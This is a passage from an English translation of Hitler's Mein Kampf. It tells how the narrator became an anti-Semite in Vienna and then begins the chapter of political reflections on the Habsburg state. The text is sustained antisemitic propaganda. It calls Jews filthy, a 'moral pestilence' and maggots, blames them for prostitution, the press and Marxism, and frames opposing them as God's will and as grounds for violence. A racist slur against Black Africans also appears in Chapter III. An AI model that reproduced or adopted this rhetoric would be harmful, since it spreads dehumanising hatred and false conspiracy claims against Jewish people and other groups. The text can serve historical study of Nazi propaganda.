harried. Finally it adopted means that +were so tardy and so insignificant that they were ineffective and were +repudiated. So the whole situation remained just as it had been before +the bourgeois intervention; but the discontent had thereby become more +serious. + +Like a threatening storm, the 'Free Trades Union' hovered above the +political horizon and above the life of each individual. It was one of +the most frightful instruments of terror that threatened the security +and independence of the national economic structure, the foundations of +the State and the liberty of the individual. Above all, it was the 'Free +Trades Union' that turned democracy into a ridiculous and scorned +phrase, insulted the ideal of liberty and stigmatized that of fraternity +with the slogan 'If you will not become our comrade we shall crack your +skull'. + +It was thus that I then came to know this friend of humanity. During the +years that followed my knowledge of it became wider and deeper; but I +have never changed anything in that regard. + +The more I became acquainted with the external forms of Social +Democracy, the greater became my desire to understand the inner nature +of its doctrines. + +For this purpose the official literature of the Party could not help +very much. In discussing economic questions its statements were false +and its proofs unsound. In treating of political aims its attitude was +insincere. Furthermore, its modern methods of chicanery in the +presentation of its arguments were profoundly repugnant to me. Its +flamboyant sentences, its obscure and incomprehensible phrases, +pretended to contain great thoughts, but they were devoid of thought, +and meaningless. One would have to be a decadent Bohemian in one of our +modern cities in order to feel at home in that labyrinth of mental +aberration, so that he might discover 'intimate experiences' amid the +stinking fumes of this literary Dadism. These writers were obviously +counting on the proverbial humility of a certain section of our people, +who believe that a person who is incomprehensible must be profoundly +wise. + +In confronting the theoretical falsity and absurdity of that doctrine +with the reality of its external manifestations, I gradually came to +have a clear idea of the ends at which it aimed. + +During such moments I had dark presentiments and feared something evil. +I had before me a teaching inspired by egoism and hatred, mathematically +calculated to win its victory, but the triumph of which would be a +mortal blow to humanity. + +Meanwhile I had discovered the relations existing between this +destructive teaching and the specific character of a people, who up to +that time had been to me almost unknown. + +Knowledge of the Jews is the only key whereby one may understand the +inner nature and therefore the real aims of Social Democracy. + +The man who has come to know this race has succeeded in removing from +his eyes the veil through which he had seen the aims and meaning of his +Party in a false light; and then, out of the murk and fog of social +phrases rises the grimacing figure of Marxism. + +To-day it is hard and almost impossible for me to say when the word +'Jew' first began to raise any particular thought in my mind. I do not +remember even having heard the word at home during my father's lifetime. +If this name were mentioned in a derogatory sense I think the old +gentleman would just have considered those who used it in this way as +being uneducated reactionaries. In the course of his career he had come +to be more or less a cosmopolitan, with strong views on nationalism, +which had its effect on me as well. In school, too, I found no reason to +alter the picture of things I had formed at home. + +At the REALSCHULE I knew one Jewish boy. We were all on our guard in our +relations with him, but only because his reticence and certain actions +of his warned us to be discreet. Beyond that my companions and myself +formed no particular opinions in regard to him. + +It was not until I was fourteen or fifteen years old that I frequently +ran up against the word 'Jew', partly in connection with political +controversies. These references aroused a slight aversion in me, and I +could not avoid an uncomfortable feeling which always came over me when +I had to listen to religious disputes. But at that time I had no other +feelings about the Jewish question. + +There were very few Jews in Linz. In the course of centuries the Jews +who lived there had become Europeanized in external appearance and were +so much like other human beings that I even looked upon them as Germans. +The reason why I did not then perceive the absurdity of such an illusion +was that the only external mark which I recognized as distinguishing +them from us was the practice of their strange religion. As I thought +that they were persecuted on account of their Faith my aversion to +hearing remarks against them grew almost into a feeling of abhorrence. I +did not in the least suspect that there could be such a thing as a +systematic anti-Semitism. + +Then I came to Vienna. + +Confused by the mass of impressions I received from the architectural +surroundings and depressed by my own troubles, I did not at first +distinguish between the different social strata of which the population +of that mammoth city was composed. Although Vienna then had about two +hundred thousand Jews among its population of two millions, I did not +notice them. During the first weeks of my sojourn my eyes and my mind +were unable to cope with the onrush of new ideas and values. Not until I +gradually settled down to my surroundings, and the confused picture +began to grow clearer, did I acquire a more discriminating view of my +new world. And with that I came up against the Jewish problem. + +I will not say that the manner in which I first became acquainted with +it was particularly unpleasant for me. In the Jew I still saw only a man +who was of a different religion, and therefore, on grounds of human +tolerance, I was against the idea that he should be attacked because he +had a different faith. And so I considered that the tone adopted by the +anti-Semitic Press in Vienna was unworthy of the cultural traditions of +a great people. The memory of certain events which happened in the +middle ages came into my mind, and I felt that I should not like to see +them repeated. Generally speaking, these anti-Semitic newspapers did not +belong to the first rank--but I did not then understand the reason of +this--and so I regarded them more as the products of jealousy and envy +rather than the expression of a sincere, though wrong-headed, feeling. + +My own opinions were confirmed by what I considered to be the infinitely +more dignified manner in which the really great Press replied to those +attacks or simply ignored them, which latter seemed to me the most +respectable way. + +I diligently read what was generally called the World Press--NEUE FREIE +PRESSE, WIENER TAGEBLATT, etc.--and I was astonished by the abundance of +information they gave their readers and the impartial way in which they +presented particular problems. I appreciated their dignified tone; but +sometimes the flamboyancy of the style was unconvincing, and I did not +like it. But I attributed all this to the overpowering influence of the +world metropolis. + +Since I considered Vienna at that time as such a world metropolis, I +thought this constituted sufficient grounds to excuse these shortcomings +of the Press. But I was frequently disgusted by the grovelling way in +which the Vienna Press played lackey to the Court. Scarcely a move took +place at the Hofburg which was not presented in glorified colours to the +readers. It was a foolish practice, which, especially when it had to do +with 'The Wisest Monarch of all Times', reminded one almost of the dance +which the mountain cock performs at pairing time to woo his mate. It was +all empty nonsense. And I thought that such a policy was a stain on the +ideal of liberal democracy. I thought that this way of currying favour +at the Court was unworthy of the people. And that was the first blot +that fell on my appreciation of the great Vienna Press. + +While in Vienna I continued to follow with a vivid interest all the +events that were taking place in Germany, whether connected with +political or cultural question. I had a feeling of pride and admiration +when I compared the rise of the young German Empire with the decline of +the Austrian State. But, although the foreign policy of that Empire was +a source of real pleasure on the whole, the internal political +happenings were not always so satisfactory. I did not approve of the +campaign which at that time was being carried on against William II. I +looked upon him not only as the German Emperor but, above all, as the +creator of the German Navy. The fact that the Emperor was prohibited +from speaking in the Reichstag made me very angry, because the +prohibition came from a side which in my eyes had no authority to make +it. For at a single sitting those same parliamentary ganders did more +cackling together than the whole dynasty of Emperors, comprising even +the weakest, had done in the course of centuries. + +It annoyed me to have to acknowledge that in a nation where any +half-witted fellow could claim for himself the right to criticize and +might even be let loose on the people as a 'Legislator' in the +Reichstag, the bearer of the Imperial Crown could be the subject of a +'reprimand' on the part of the most miserable assembly of drivellers +that had ever existed. + +I was even more disgusted at the way in which this same Vienna Press +salaamed obsequiously before the meanest steed belonging to the Habsburg +royal equipage and went off into wild ecstacies of delight if the nag +wagged its tail in response. And at the same time these newspapers took +up an attitude of anxiety in matters that concerned the German Emperor, +trying to cloak their enmity by the serious air they gave themselves. +But in my eyes that enmity appeared to be only poorly cloaked. Naturally +they protested that they had no intention of mixing in Germany's +internal affairs--God forbid! They pretended that by touching a delicate +spot in such a friendly way they were fulfilling a duty that devolved +upon them by reason of the mutual alliance between the two countries and +at the same time discharging their obligations of journalistic +truthfulness. Having thus excused themselves about tenderly touching a +sore spot, they bored with the finger ruthlessly into the wound. + +That sort of thing made my blood boil. And now I began to be more and +more on my guard when reading the great Vienna Press. + +I had to acknowledge, however, that on such subjects one of the +anti-Semitic papers--the DEUTSCHE VOLKSBLATT--acted more decently. + +What got still more on my nerves was the repugnant manner in which the +big newspapers cultivated admiration for France. One really had to feel +ashamed of being a German when confronted by those mellifluous hymns of +praise for 'the great culture-nation'. This wretched Gallomania more +often than once made me throw away one of those 'world newspapers'. I +now often turned to the VOLKSBLATT, which was much smaller in size but +which treated such subjects more decently. I was not in accord with its +sharp anti-Semitic tone; but again and again I found that its arguments +gave me grounds for serious thought. + +Anyhow, it was as a result of such reading that I came to know the man +and the movement which then determined the fate of Vienna. These were +Dr. Karl Lueger and the Christian Socialist Movement. At the time I came +to Vienna I felt opposed to both. I looked on the man and the movement +as 'reactionary'. + +But even an elementary sense of justice enforced me to change my opinion +when I had the opportunity of knowing the man and his work, and slowly +that opinion grew into outspoken admiration when I had better grounds +for forming a judgment. To-day, as well as then, I hold Dr. Karl Lueger +as the most eminent type of German Burgermeister. How many prejudices +were thrown over through such a change in my attitude towards the +Christian-Socialist Movement! + +My ideas about anti-Semitism changed also in the course of time, but +that was the change which I found most difficult. It cost me a greater +internal conflict with myself, and it was only after a struggle between +reason and sentiment that victory began to be decided in favour of the +former. Two years later sentiment rallied to the side of reasons and +became a faithful guardian and counsellor. + +At the time of this bitter struggle, between calm reason and the +sentiments in which I had been brought up, the lessons that I learned on +the streets of Vienna rendered me invaluable assistance. A time came +when I no longer passed blindly along the street of the mighty city, as +I had done in the early days, but now with my eyes open not only to +study the buildings but also the human beings. + +Once, when passing through the inner City, I suddenly encountered a +phenomenon in a long caftan and wearing black side-locks. My first +thought was: Is this a Jew? They certainly did not have this appearance +in Linz. I watched the man stealthily and cautiously; but the longer I +gazed at the strange countenance and examined it feature by feature, the +more the question shaped itself in my brain: Is this a German? + +As was always my habit with such experiences, I turned to books for help +in removing my doubts. For the first time in my life I bought myself +some anti-Semitic pamphlets for a few pence. But unfortunately they all +began with the assumption that in principle the reader had at least a +certain degree of information on the Jewish question or was even +familiar with it. Moreover, the tone of most of these pamphlets was such +that I became doubtful again, because the statements made were partly +superficial and the proofs extraordinarily unscientific. For weeks, and +indeed for months, I returned to my old way of thinking. The subject +appeared so enormous and the accusations were so far-reaching that I was +afraid of dealing with it unjustly and so I became again anxious and +uncertain. + +Naturally I could no longer doubt that here there was not a question of +Germans who happened to be of a different religion but rather that there +was question of an entirely different people. For as soon as I began to +investigate the matter and observe the Jews, then Vienna appeared to me +in a different light. Wherever I now went I saw Jews, and the more I saw +of them the more strikingly and clearly they stood out as a different +people from the other citizens. Especially the Inner City and the +district northwards from the Danube Canal swarmed with a people who, +even in outer appearance, bore no similarity to the Germans. + +But any indecision which I may still have felt about that point was +finally removed by the activities of a certain section of the Jews +themselves. A great movement, called Zionism, arose among them. Its aim +was to assert the national character of Judaism, and the movement was +strongly represented in Vienna. + +To outward appearances it seemed as if only one group of Jews championed +this movement, while the great majority disapproved of it, or even +repudiated it. But an investigation of the situation showed that those +outward appearances were purposely misleading. These outward appearances +emerged from a mist of theories which had been produced for reasons of +expediency, if not for purposes of downright deception. For that part of +Jewry which was styled Liberal did not disown the Zionists as if they +were not members of their race but rather as brother Jews who publicly +professed their faith in an unpractical way, so as to create a danger +for Jewry itself. + +Thus there was no real rift in their internal solidarity. + +This fictitious conflict between the Zionists and the Liberal Jews soon +disgusted me; for it was false through and through and in direct +contradiction to the moral dignity and immaculate character on which +that race had always prided itself. + +Cleanliness, whether moral or of another kind, had its own peculiar +meaning for these people. That they were water-shy was obvious on +looking at them and, unfortunately, very often also when not looking at +them at all. The odour of those people in caftans often used to make me +feel ill. Beyond that there were the unkempt clothes and the ignoble +exterior. + +All these details were certainly not attractive; but the revolting +feature was that beneath their unclean exterior one suddenly perceived +the moral mildew of the chosen race. + +What soon gave me cause for very serious consideration were the +activities of the Jews in certain branches of life, into the mystery of +which I penetrated little by little. Was there any shady undertaking, +any form of foulness, especially in cultural life, in which at least one +Jew did not participate? On putting the probing knife carefully to that +kind of abscess one immediately discovered, like a maggot in a +putrescent body, a little Jew who was often blinded by the sudden light. + +In my eyes the charge against Judaism became a grave one the moment I +discovered the Jewish activities in the Press, in art, in literature and +the theatre. All unctuous protests were now more or less futile. One +needed only to look at the posters announcing the hideous productions of +the cinema and theatre, and study the names of the authors who were +highly lauded there in order to become permanently adamant on Jewish +questions. Here was a pestilence, a moral pestilence, with which the +public was being infected. It was worse than the Black Plague of long +ago. And in what mighty doses this poison was manufactured and +distributed. Naturally, the lower the moral and intellectual level of +such an author of artistic products the more inexhaustible his +fecundity. Sometimes it went so far that one of these fellows, acting +like a sewage pump, would shoot his filth directly in the face of other +members of the human race. In this connection we must remember there is +no limit to the number of such people. One ought to realize that for +one, Goethe, Nature may bring into existence ten thousand such +despoilers who act as the worst kind of germ-carriers in poisoning human +souls. It was a terrible thought, and yet it could not be avoided, that +the greater number of the Jews seemed specially destined by Nature to +play this shameful part. + +And is it for this reason that they can be called the chosen people? + +I began then to investigate carefully the names of all the fabricators +of these unclean products in public cultural life. The result of that +inquiry was still more disfavourable to the attitude which I had +hitherto held in regard to the Jews. Though my feelings might rebel a +thousand time, reason now had to draw its own conclusions. + +The fact that nine-tenths of all the smutty literature, artistic tripe +and theatrical banalities, had to be charged to the account of people +who formed scarcely one per cent. of the nation--that fact could not be +gainsaid. It was there, and had to be admitted. Then I began to examine +my favourite 'World Press', with that fact before my mind. + +The deeper my soundings went the lesser grew my respect for that Press +which I formerly admired. Its style became still more repellent and I +was forced to reject its ideas as entirely shallow and superficial. To +claim that in the presentation of facts and views its attitude was +impartial seemed to me to contain more falsehood than truth. The writers +were--Jews. + +Thousands of details that I had scarcely noticed before seemed to me now +to deserve attention. I began to grasp and understand things which I had +formerly looked at in a different light. + +I saw the Liberal policy of that Press in another light. Its dignified +tone in replying to the attacks of its adversaries and its dead silence +in other cases now became clear to me as part of a cunning and +despicable way of deceiving the readers. Its brilliant theatrical +criticisms always praised the Jewish authors and its adverse, criticism +was reserved exclusively for the Germans. + +The light pin-pricks against William II showed the persistency of its +policy, just as did its systematic commendation of French culture and +civilization. The subject matter of the feuilletons was trivial and +often pornographic. The language of this Press as a whole had the accent +of a foreign people. The general tone was openly derogatory to the +Germans and this must have been definitely intentional. + +What were the interests that urged the Vienna Press to adopt such a +policy? Or did they do so merely by chance? In attempting to find an +answer to those questions I gradually became more and more dubious. + +Then something happened which helped me to come to an early decision. I +began to see through the meaning of a whole series of events that were +taking place in other branches of Viennese life. All these were inspired +by a general concept of manners and morals which was openly put into +practice by a large section of the Jews and could be established as +attributable to them. Here, again, the life which I observed on the +streets taught me what evil really is. + +The part which the Jews played in the social phenomenon of prostitution, +and more especially in the white slave traffic, could be studied here +better than in any other West-European city, with the possible exception +of certain ports in Southern France. Walking by night along the streets +of the Leopoldstadt, almost at every turn whether one wished it or not, +one witnessed certain happenings of whose existence the Germans knew +nothing until the War made it possible and indeed inevitable for the +soldiers to see such things on the Eastern front. + +A cold shiver ran down my spine when I first ascertained that it was the +same kind of cold-blooded, thick-skinned and shameless Jew who showed +his consummate skill in conducting that revolting exploitation of the +dregs of the big city. Then I became fired with wrath. + +I had now no more hesitation about bringing the Jewish problem to light +in all its details. No. Henceforth I was determined to do so. But as I +learned to track down the Jew in all the different spheres of cultural +and artistic life, and in the various manifestations of this life +everywhere, I suddenly came upon him in a position where I had least +expected to find him. I now realized that the Jews were the leaders of +Social Democracy. In face of that revelation the scales fell from my +eyes. My long inner struggle was at an end. + +In my relations with my fellow workmen I was often astonished to find +how easily and often they changed their opinions on the same questions, +sometimes within a few days and sometimes even within the course of a +few hours. I found it difficult to understand how men who always had +reasonable ideas when they spoke as individuals with one another +suddenly lost this reasonableness the moment they acted in the mass. +That phenomenon often tempted one almost to despair. I used to dispute +with them for hours and when I succeeded in bringing them to what I +considered a reasonable way of thinking I rejoiced at my success. But +next day I would find that it had been all in vain. It was saddening to +think I had to begin it all over again. Like a pendulum in its eternal +sway, they would fall back into their absurd opinions. + +I was able to understand their position fully. They were dissatisfied +with their lot and cursed the fate which had hit them so hard. They +hated their employers, whom they looked upon as the heartless +administrators of their cruel destiny. Often they used abusive language +against the public officials, whom they accused of having no sympathy +with the situation of the working people. They made public protests +against the cost of living and paraded through the streets in defence of +their claims. At least all this could be explained on reasonable +grounds. But what was impossible to understand was the boundless hatred +they expressed against their own fellow citizens, how they disparaged +their own nation, mocked at its greatness, reviled its history and +dragged the names of its most illustrious men in the gutter. + +This hostility towards their own kith and kin, their own native land and +home was as irrational as it was incomprehensible. It was against +Nature. + +One could cure that malady temporarily, but only for some days or at +least some weeks. But on meeting those whom one believed to have been +converted one found that they had become as they were before. That +malady against Nature held them once again in its clutches. + +I gradually discovered that the Social Democratic Press was +predominantly controlled by Jews. But I did not attach special +importance to this circumstance, for the same state of affairs existed +also in other newspapers. But there was one striking fact in this +connection. It was that there was not a single newspaper with which Jews +were connected that could be spoken of as National, in the meaning that +my education and convictions attached to that word. + +Making an effort to overcome my natural reluctance, I tried to read +articles of this nature published in the Marxist Press; but in doing so +my aversion increased all the more. And then I set about learning +something of the people who wrote and published this mischievous stuff. +From the publisher downwards, all of them were Jews. I recalled to mind +the names of the public leaders of Marxism, and then I realized that +most of them belonged to the Chosen Race--the Social Democratic +representatives in the Imperial Cabinet as well as the secretaries of +the Trades Unions and the street agitators. Everywhere the same sinister +picture presented itself. I shall never forget the row of +names--Austerlitz, David, Adler, Ellenbogen, and others. One fact became +quite evident to me. It was that this alien race held in its hands the +leadership of that Social Democratic Party with whose minor +representatives I had been disputing for months past. I was happy at +last to know for certain that the Jew is not a German. + +Thus I finally discovered who were the evil spirits leading our people +astray. The sojourn in Vienna for one year had proved long enough to +convince me that no worker is so rooted in his preconceived notions that +he will not surrender them in face of better and clearer arguments and +explanations. Gradually I became an expert in the doctrine of the +Marxists and used this knowledge as an instrument to drive home my own +firm convictions. I was successful in nearly every case. The great +masses can be rescued, but a lot of time and a large share of human +patience must be devoted to such work. + +But a Jew can never be rescued from his fixed notions. + +It was then simple enough to attempt to show them the absurdity of their +teaching. Within my small circle I talked to them until my throat ached +and my voice grew hoarse. I believed that I could finally convince them +of the danger inherent in the Marxist follies. But I only achieved the +contrary result. It seemed to me that immediately the disastrous effects +of the Marxist Theory and its application in practice became evident, +the stronger became their obstinacy. + +The more I debated with them the more familiar I became with their +argumentative tactics. At the outset they counted upon the stupidity of +their opponents, but when they got so entangled that they could not find +a way out they played the trick of acting as innocent simpletons. Should +they fail, in spite of their tricks of logic, they acted as if they +could not understand the counter arguments and bolted away to another +field of discussion. They would lay down truisms and platitudes; and, if +you accepted these, then they were applied to other problems and matters +of an essentially different nature from the original theme. If you faced +them with this point they would escape again, and you could not bring +them to make any precise statement. Whenever one tried to get a firm +grip on any of these apostles one's hand grasped only jelly and slime +which slipped through the fingers and combined again into a solid mass a +moment afterwards. If your adversary felt forced to give in to your +argument, on account of the observers present, and if you then thought +that at last you had gained ground, a surprise was in store for you on +the following day. The Jew would be utterly oblivious to what had +happened the day before, and he would start once again by repeating his +former absurdities, as if nothing had happened. Should you become +indignant and remind him of yesterday's defeat, he pretended +astonishment and could not remember anything, except that on the +previous day he had proved that his statements were correct. Sometimes I +was dumbfounded. I do not know what amazed me the more--the abundance of +their verbiage or the artful way in which they dressed up their +falsehoods. I gradually came to hate them. + +Yet all this had its good side; because the more I came to know the +individual leaders, or at least the propagandists, of Social Democracy, +my love for my own people increased correspondingly. Considering the +Satanic skill which these evil counsellors displayed, how could their +unfortunate victims be blamed? Indeed, I found it extremely difficult +myself to be a match for the dialectical perfidy of that race. How +futile it was to try to win over such people with argument, seeing that +their very mouths distorted the truth, disowning the very words they had +just used and adopting them again a few moments afterwards to serve +their own ends in the argument! No. The more I came to know the Jew, the +easier it was to excuse the workers. + +In my opinion the most culpable were not to be found among the workers +but rather among those who did not think it worth while to take the +trouble to sympathize with their own kinsfolk and give to the +hard-working son of the national family what was his by the iron logic +of justice, while at the same time placing his seducer and corrupter +against the wall. + +Urged by my own daily experiences, I now began to investigate more +thoroughly the sources of the Marxist teaching itself. Its effects were +well known to me in detail. As a result of careful observation, its +daily progress had become obvious to me. And one needed only a little +imagination in order to be able to forecast the consequences which must +result from it. The only question now was: Did the founders foresee the +effects of their work in the form which those effects have shown +themselves to-day, or were the founders themselves the victims of an +error? To my mind both alternatives were possible. + +If the second question must be answered in the affirmative, then it was +the duty of every thinking person to oppose this sinister movement with +a view to preventing it from producing its worst results. But if the +first question must be answered in the affirmative, then it must be +admitted that the original authors of this evil which has infected the +nations were devils incarnate. For only in the brain of a monster, and +not that of a man, could the plan of this organization take shape whose +workings must finally bring about the collapse of human civilization and +turn this world into a desert waste. + +Such being the case the only alternative left was to fight, and in that +fight to employ all the weapons which the human spirit and intellect and +will could furnish leaving it to Fate to decide in whose favour the +balance should fall. + +And so I began to gather information about the authors of this teaching, +with a view to studying the principles of the movement. The fact that I +attained my object sooner than I could have anticipated was due to the +deeper insight into the Jewish question which I then gained, my +knowledge of this question being hitherto rather superficial. This newly +acquired knowledge alone enabled me to make a practical comparison +between the real content and the theoretical pretentiousness of the +teaching laid down by the apostolic founders of Social Democracy; +because I now understood the language of the Jew. I realized that the +Jew uses language for the purpose of dissimulating his thought or at +least veiling it, so that his real aim cannot be discovered by what he +says but rather by reading between the lines. This knowledge was the +occasion of the greatest inner revolution that I had yet experienced. +From being a soft-hearted cosmopolitan I became an out-and-out +anti-Semite. + +Only on one further occasion, and that for the last time, did I give way +to oppressing thoughts which caused me some moments of profound anxiety. + +As I critically reviewed the activities of the Jewish people throughout +long periods of history I became anxious and asked myself whether for +some inscrutable reasons beyond the comprehension of poor mortals such +as ourselves, Destiny may not have irrevocably decreed that the final +victory must go to this small nation? May it not be that this people +which has lived only for the earth has been promised the earth as a +recompense? is our right to struggle for our own self-preservation based +on reality, or is it a merely subjective thing? Fate answered the +question for me inasmuch as it led me to make a detached and exhaustive +inquiry into the Marxist teaching and the activities of the Jewish +people in connection with it. + +The Jewish doctrine of Marxism repudiates the aristocratic principle of +Nature and substitutes for it the eternal privilege of force and energy, +numerical mass and its dead weight. Thus it denies the individual worth +of the human personality, impugns the teaching that nationhood and race +have a primary significance, and by doing this it takes away the very +foundations of human existence and human civilization. If the Marxist +teaching were to be accepted as the foundation of the life of the +universe, it would lead to the disappearance of all order that is +conceivable to the human mind. And thus the adoption of such a law would +provoke chaos in the structure of the greatest organism that we know, +with the result that the inhabitants of this earthly planet would +finally disappear. + +Should the Jew, with the aid of his Marxist creed, triumph over the +people of this world, his Crown will be the funeral wreath of mankind, +and this planet will once again follow its orbit through ether, without +any human life on its surface, as it did millions of years ago. + +And so I believe to-day that my conduct is in accordance with the will +of the Almighty Creator. In standing guard against the Jew I am +defending the handiwork of the Lord. + + + + +CHAPTER III + + + +POLITICAL REFLECTIONS ARISING OUT OF MY SOJOURN IN VIENNA + + +Generally speaking a man should not publicly take part in politics +before he has reached the age of thirty, though, of course, exceptions +must be made in the case of those who are naturally gifted with +extraordinary political abilities. That at least is my opinion to-day. +And the reason for it is that until he reaches his thirtieth year or +thereabouts a man's mental development will mostly consist in acquiring +and sifting such knowledge as is necessary for the groundwork of a +general platform from which he can examine the different political +problems that arise from day to day and be able to adopt a definite +attitude towards each. A man must first acquire a fund of general ideas +and fit them together so as to form an organic structure of personal +thought or outlook on life--a WELTANSCHAUUNG. Then he will have that +mental equipment without which he cannot form his own judgments on +particular questions of the day, and he will have acquired those +qualities that are necessary for consistency and steadfastness in the +formation of political opinions. Such a man is now qualified, at least +subjectively, to take his part in the political conduct of public +affairs. + +If these pre-requisite conditions are not fulfilled, and if a man should +enter political life without this equipment, he will run a twofold risk. +In the first place, he may find during the course of events that the +stand which he originally took in regard to some essential question was +wrong. He will now have to abandon his former position or else stick to +it against his better knowledge and riper wisdom and after his reason +and convictions have already proved it untenable. If he adopt the former +line of action he will find himself in a difficult personal situation; +because in giving up a position hitherto maintained he will appear +inconsistent and will have no right to expect his followers to remain as +loyal to his leadership as they were before. And, as regards the +followers themselves, they may easily look upon their leader's change of +policy as showing a lack of judgment inherent in his character. +Moreover, the change must cause in them a certain feeling of +discomfiture VIS-À-VIS those whom the leader formerly opposed. + +If he adopts the second alternative--which so very frequently happens +to-day--then public pronouncements of the leader have no longer his +personal persuasion to support them. And the more that is the case the +defence of his cause will be all the more hollow and superficial. He now +descends to the adoption of vulgar means in his defence. While he +himself no longer dreams seriously of standing by his political +protestations to the last--for no man will die in defence of something +in which he does not believe--he makes increasing demands on his +followers. Indeed, the greater be the measure of his own insincerity, +the more unfortunate and inconsiderate become his claims on his party +adherents. Finally, he throws aside the last vestiges of true leadership +and begins to play politics. This means that he becomes one of those +whose only consistency is their inconsistency, associated with +overbearing insolence and oftentimes an artful mendacity developed to a +shamelessly high degree. + +Should such a person, to the misfortune of all decent people, succeed in +becoming a parliamentary deputy it will be clear from the outset that +for him the essence of political activity consists in a heroic struggle +to keep permanent hold on this milk-bottle as a source of livelihood for +himself and his family. The more his wife and children are dependent on +him, the more stubbornly will he fight to maintain for himself the +representation of his parliamentary constituency. For that reason any +other person who gives evidence of political capacity is his personal +enemy. In every new movement he will apprehend the possible beginning of +his own downfall. And everyone who is a better man than himself will +appear to him in the light of a menace. + +I shall subsequently deal more fully with the problem to which this kind +of parliamentary vermin give rise. + +When a man has reached his thirtieth year he has still a great deal to +learn. That is obvious. But henceforward what he learns will principally +be an amplification of his basic ideas; it will be fitted in with them +organically so as to fill up the framework of the fundamental +WELTANSCHAUUNG which he already possesses. What he learns anew will not +imply the abandonment of principles already held, but rather a deeper +knowledge of those principles. And thus his colleagues will never have +the discomforting feeling that they have been hitherto falsely led by +him. On the contrary, their confidence is increased when they perceive +that their leader's qualities are steadily developing along the lines of +an organic growth which results from the constant assimilation of new +ideas; so that the followers look upon this process as signifying an +enrichment of the doctrines in which they themselves believe, in their +eyes every such development is a new witness to the correctness of that +whole body of opinion which has hitherto been held. + +A leader who has to abandon the platform founded on his general +principles, because he recognizes the foundation as false, can act with +honour only when he declares his readiness to accept the final +consequences of his erroneous views. In such a case he ought to refrain +from taking public part in any further political activity. Having once +gone astray on essential things he may possibly go astray a second time. +But, anyhow, he has no right whatsoever to expect or demand that his +fellow citizens should continue to give him their support. + +How little such a line of conduct commends itself to our public leaders +nowadays is proved by the general corruption prevalent among the cabal +which at the present moment feels itself called to political leadership. +In the whole cabal there is scarcely one who is properly equipped for +this task. + +Although in those days I used to give more time than most others to the +consideration of political question, yet I carefully refrained from +taking an open part in politics. Only to a small circle did I speak of +those things which agitated my mind or were the cause of constant +preoccupation for me. The habit of discussing matters within such a +restricted group had many advantages in itself. Rather than talk at +them, I learned to feel my way into the modes of thought and views of +those men around me. Oftentimes such ways of thinking and such views +were quite primitive. Thus I took every possible occasion to increase my +knowledge of men. + +Nowhere among the German people was the opportunity for making such a +study so favourable as in Vienna. + +In the old Danubian Monarchy political thought was wider in its range +and had a richer variety of interests than in the Germany of that +epoch--excepting certain parts of Prussia, Hamburg and the districts +bordering on the North Sea. When I speak of Austria here I mean that +part of the great Habsburg Empire which, by reason of its German +population, furnished not only the historic basis for the formation of +this State but whose population was for several centuries also the +exclusive source of cultural life in that political system whose +structure was so artificial. As time went on the stability of the +Austrian State and the guarantee of its continued existence depended +more and more on the maintenance of this germ-cell of that Habsburg +Empire. + +The hereditary imperial provinces constituted the heart of the Empire. +And it was this heart that constantly sent the blood of life pulsating +through the whole political and cultural system. Corresponding to the +heart of the Empire, Vienna signified the brain and the will. At that +time Vienna presented an appearance which made one think of her as an +enthroned queen whose authoritative sway united the conglomeration of +heterogenous nationalities that lived under the Habsburg sceptre. The +radiant beauty of the capital city made one forget the sad symptoms of +senile decay which the State manifested as a whole. + +Though the Empire was internally rickety because of the terrific +conflict going on between the various nationalities, the outside +world--and Germany in particular--saw only that lovely picture of the +city. The illusion was all the greater because at that time Vienna +seemed to have risen to its highest pitch of splendour. Under a Mayor, +who had the true stamp of administrative genius, the venerable +residential City of the Emperors of the old Empire seemed to have the +glory of its youth renewed. The last great German who sprang from the +ranks of the people that had colonized the East Mark was not a +'statesman', in the official sense. This Dr. Luegar, however, in his +rôle as Mayor of 'the Imperial Capital and Residential City', had +achieved so much in almost all spheres of municipal activity, whether +economic or cultural, that the heart of the whole Empire throbbed with +renewed vigour. He thus proved himself a much greater statesman than the +so-called 'diplomats' of that period. + +The fact that this political system of heterogeneous races called +AUSTRIA, finally broke down is no evidence whatsoever of political +incapacity on the part of the German element in the old East Mark. The +collapse was the inevitable result of an impossible situation. Ten +million people cannot permanently hold together a State of fifty +millions, composed of different and convicting nationalities, unless +certain definite pre-requisite conditions are at hand while there is +still time to avail of them. + +The German-Austrian had very big ways of thinking. Accustomed to live in +a great Empire, he had a keen sense of the obligations incumbent on him +in such a situation. He was the only member of the Austrian State who +looked beyond the borders of the narrow lands belonging to the Crown and +took in all the frontiers of the Empire in the sweep of his mind. Indeed +when destiny severed him from the common Fatherland he tried to master +the tremendous task which was set before him as a consequence. This task +was to maintain for the German-Austrians that patrimony which, through +innumerable struggles, their ancestors had originally wrested from the +East. It must be remembered that the German-Austrians could not put +their undivided strength into this effort, because the hearts and minds +of the best among them were constantly turning back towards their +kinsfolk in the Motherland, so that only a fraction of their energy +remained to be employed at home. + +The mental horizon of the German-Austrian was comparatively broad. His +commercial interests comprised almost every section of the heterogeneous +Empire. The conduct of almost all important undertakings was in his +hands. He provided the State, for the most part, with its leading +technical experts and civil servants. He was responsible for carrying on +the foreign trade of the country, as far as that sphere of activity was +not under Jewish control, The German-Austrian exclusively represented +the political cement that held the State together. His military duties +carried him far beyond the narrow frontiers of his homeland. Though the +recruit might join a regiment made up of the German element, the +regiment itself might be stationed in Herzegovina as well as in Vienna +or Galicia. The officers in the Habsburg armies were still Germans and +so was the predominating element in the higher branches of the civil +service. Art and science were in German hands. Apart from the new +artistic trash, which might easily have been produced by a negro tribe, +all genuine artistic inspiration came from the German section of the +population. In music, architecture, sculpture and painting, Vienna +abundantly supplied the entire Dual Monarchy. And the source never +seemed to show signs of a possible exhaustion. Finally, it was the +German element that determined the conduct of foreign policy, though a +small number of Hungarians were also active in that field. + +All efforts, however, to save the unity of the State were doomed to end +in failure, because the essential pre-requisites were missing. + +There was only one possible way to control and hold in check the +centrifugal forces of the different and differing nationalities. This +way was: to govern the Austrian State and organize it internally on the +principle of centralization. In no other way imaginable could the +existence of that State be assured. + +Now and again there were lucid intervals in the higher ruling quarters +when this truth was recognized. But it was soon forgotten again, or else +deliberately ignored, because of the difficulties to be overcome in +putting it into practice. Every project which aimed at giving the Empire +a more federal shape was bound to be ineffective because there was no +strong central authority which could exercise sufficient power within +the State to hold the federal elements together. It must be remembered +in this connection that conditions in Austria were quite different from +those which characterized the German State as founded by Bismarck. +Germany was faced with only one difficulty, which was that of +transforming the purely political traditions, because throughout the +whole of Bismarck's Germany there was a common cultural basis. The +German Empire contained only members of one and the same racial or +national stock, with the exception of a few minor foreign fragments. + +Demographic conditions in Austria were quite the reverse. With the +exception of 